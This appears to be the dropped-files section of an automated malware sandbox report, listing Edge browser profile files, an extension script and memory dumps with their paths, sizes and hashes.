Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 41d66f568adb277f3e69b8fc54496af289e91d1dc293969d1f5cc1ce009a5709
MD5 43c72b773174f439bff9a5b46eafa892
SHA1 b74e007512fe2a3261fc30bd8b10f1b52057c26e
SHA512 721cbc571fac5e01054cfdba3451cc3658a533ced80d861fcfe3415068d4b21df8d3759d83b8c8b32694bc1a61a3e2a6ebaa21ed8d971cfe915450e551c65f12
SSDEEP 768:hF1j+923vwgVb5GJJIjwOzNezLtzhXJiGcC3aHOQiBp9b9MS:g92335SBEiFb+S
TLSH
T15D1327F298D7CA36D89E8787A37D2E55AEBCC16371885984BBD41D0DCC871BFC206825
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 ce2a7eb4ed64dd2538d6fec5835f73a7c3888f2e186068dd7fa07cbd29bb13fa
MD5 e5393b825e0becb88fd1e9be19dcb761
SHA1 be78b4719033c51f19aacc6de032b40ad7fb76fe
SHA512 214a08d7746ba8c544cd167b72b4e8d393f01d3c3b03b6eb0bcb9bd12f2ae324e89218996e50674ebab6cdc93211019aacba34426390dfc84e1be818c4a31d70
SSDEEP 768:xrv+4UNbd83kb5VJJExwOzNezLtzHJiGcC3aHOQiBp9BF:xbsbS3m5xEiFBF
TLSH
T10F03BF31B92CDD739CA6D284B29B7653BFB851A356841F44D9D42E4D048B2AF070BD37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 61efac5549844b9bb3eed3b4f757394bcecbff4fe2bad2978efffca92a4f4dce
MD5 7012c621b6ba15c40c3911a91ea31470
SHA1 1e38e98cd8c6fcb1b40a9f09aa2b3a44743c026a
SHA512 4da74e4588c5c2209d0afd532ed18363a1f4e3859f46a639322cdb87a326d80f357b4a0349c742b1e159dae5138f3d465730aab9349f54f4238dfdfad2055736
SSDEEP 768:krv+4UNbd83RJwxwOzNeKJiGcC3aHOQiBV7UirYb:kbsbS3KEibUiK
TLSH
T1B103CF32A918EC37DCE2C284B39B7613BFB8516356C41B44D5E82E5E459B1AE0307D7B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 fcd4bb6ac463d35784eecc980dd43c79285ed48430d0444a77e5ce953c60e08c
MD5 1b78cf2c2587408c132e0e6adcf83a63
SHA1 48571b25a32a2752f211337fa0226889c056f2a4
SHA512 41dca85063f43b57b57af5a26cc6b000a736b479fb814f39b7847bafa69c3732c9d90745fc458a127afc1e90eb1109ba47f12508724e600b74e8c60e0a536336
SSDEEP 768:qj+923Eb5/JJExwOzNezLtzPJiGcC3aHOQiBp9b9MS:J923G5/EiFb+S
TLSH
T15AF2C031A916DD739C96D394B3AB3756FFE451B352C41E48EAE45E0E04872AE0713C3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 4d2d02b370697b9d06e58a92cbd030c24ef818f09d892442fb70202be249a496
MD5 8dd37925d8870a60b1335afd039f113c
SHA1 64d05a0ab0ebcd9ac30c943089fd7e8e1bf3a966
SHA512 17c3af58d7704789e26d2c5e05a7b09db9cbcbfbef57d9b5264c9eebb9bd6132c80c0f63561529ade88f5692f97e5886229bcdd7b1e0c09cc482686af832967a
SSDEEP 768:Rrv+4UNbd83kJyxwOzNezLtzoJiGcC3aHOQiBp9UirYE:RbsbS3zEiFUit
TLSH
T19F03C031A919ED339CE6D284B29B7643BFB821A356C41F44DAE41E5D048B29F070BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

5c3535aa-2caf-450d-b03a-3e7cd7dca201.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\5c3535aa-2caf-450d-b03a-3e7cd7dca201.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1420_635599997\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/628-450-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/952-479-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1004-419-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1372-387-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1560-375-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1580-195-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1628-504-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1628-327-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1948-399-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2152-454-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2472-242-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2480-439-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2548-282-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3420-346-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4124-323-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4460-270-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5008-296-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5088-475-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5276-331-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5432-524-0x0000000000010000-0x0000000000083000-memory.dmp

Download